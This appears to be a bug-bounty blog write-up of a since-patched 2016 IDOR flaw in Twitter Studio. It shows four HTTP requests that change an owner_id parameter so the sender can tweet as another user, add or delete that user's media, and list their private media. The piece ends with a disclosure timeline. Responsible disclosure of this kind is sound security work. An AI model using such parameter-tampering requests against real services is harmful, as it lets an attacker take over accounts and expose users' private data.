Summary: This blog post details an Insecure Direct Object Reference (IDOR) vulnerability on Twitter that could have been used by attackers to tweet from other accounts, upload videos on behalf of a user, delete pictures/videos from a victim's tweets, and view private media uploaded by other Twitter accounts. All endpoints on studio.twitter.com were vulnerable.
Vulnerability Background
Twitter is an online news and social networking service where users post and interact with messages, "tweets", restricted to 140 characters (at the time of this research). Registered users can post tweets, but those who are unregistered can only read them. Users access Twitter through its website interface, SMS, or a mobile device app.
Twitter launched a new product named Twitter Studio (studio.twitter.com) in September 2016. Naturally, I started looking out for security loopholes immediately after the launch.
I noticed that all API requests on studio.twitter.com were sending a parameter named owner_id, which was the Twitter user ID (publicly available and sequential) of the logged-in user. Crucially, the owner_id parameter was missing backend authorization checks. Changing this value allowed me to take actions on behalf of other Twitter users.
Step-by-Step Exploit Walkthrough
Vulnerable Request #1: Tweeting from other Twitter accounts
By swapping the owner_id in the payload, I could force the API to publish a tweet on the victim's timeline.
POST /1/tweet.json HTTP/1.1
Host: studio.twitter.com
{"account_id":"[attacker's account id]","owner_id":"[victim's user id]","metadata":
{"monetize":false,"embeddable_playback":false,"title":"Test tweet by attacker",
"description":"attacker attacker","cta_type":null,"cta_link":null},"media_key":"",
"text":"attacker attacker"}
Result: Replaying the above request with the victim's ID resulted in a successful tweet from the victim's account.
Vulnerable Request #2: Uploading media to another account
I was also able to upload media (images/videos) to another user's media library.
POST /1/library/add.json HTTP/1.1
Host: studio.twitter.com
{"account_id":"[attacker's account id]","owner_id":"[victim's id]","metadata":{"monetize":false,"name":"abcd.png","embeddable_playback":true,"title":"Attacker","description":"","cta_type":null,"cta_link":null},"media_id":"","managed":false,"media_type":"TweetImage"}
Result: Replaying the above request with the victim's owner_id uploaded media directly to the victim's account.
Vulnerable Request #3: Deleting videos/media of other accounts
Going a step further, an attacker could maliciously delete existing media from the victim's account if they knew the media_key.
POST /1/library/remove.json HTTP/1.1
Host: studio.twitter.com
{"account_id":"[attacker's account id]","owner_id":"[victim's id]","media_key":"[victim's video id]"}
Result: Replaying the above request with the victim's user ID and media key deleted the media from the victim's account.
Vulnerable Request #4: Private media disclosure
Finally, it was possible to fetch a list of all private media uploaded to a victim's Twitter Studio account.
GET /1/library/list.json?account_id=[attacker's account id]&owner_id=[victim's id]&limit=20&offset=0 HTTP/1.1
Host: studio.twitter.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.11; rv:37.0)
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Referer: https://studio.twitter.com/library
Cookie: [Session Cookies]
Connection: keep-alive
Result: Replaying this GET request with the victim's user ID leaked all private media belonging to the victim's Twitter account in the JSON response.
Further Reading
For additional details and background on this issue, you can check out this coverage:
Disclosure Timeline & Resolution
- August 29, 2016: Reported all findings to Twitter across 3 different reports (as the vulnerable endpoints were different).
- September 2, 2016: Received a response from the Twitter security team confirming they were looking into the issue. They noted they would close the other reports as duplicates since they shared the same root cause (the missing
owner_idauthorization check). - September 3, 2016: Vulnerability patched. A bounty of $5,040 USD was rewarded by Twitter.
Thanks for reading! Feel free to share this write-up with the cybersecurity and bug bounty community.
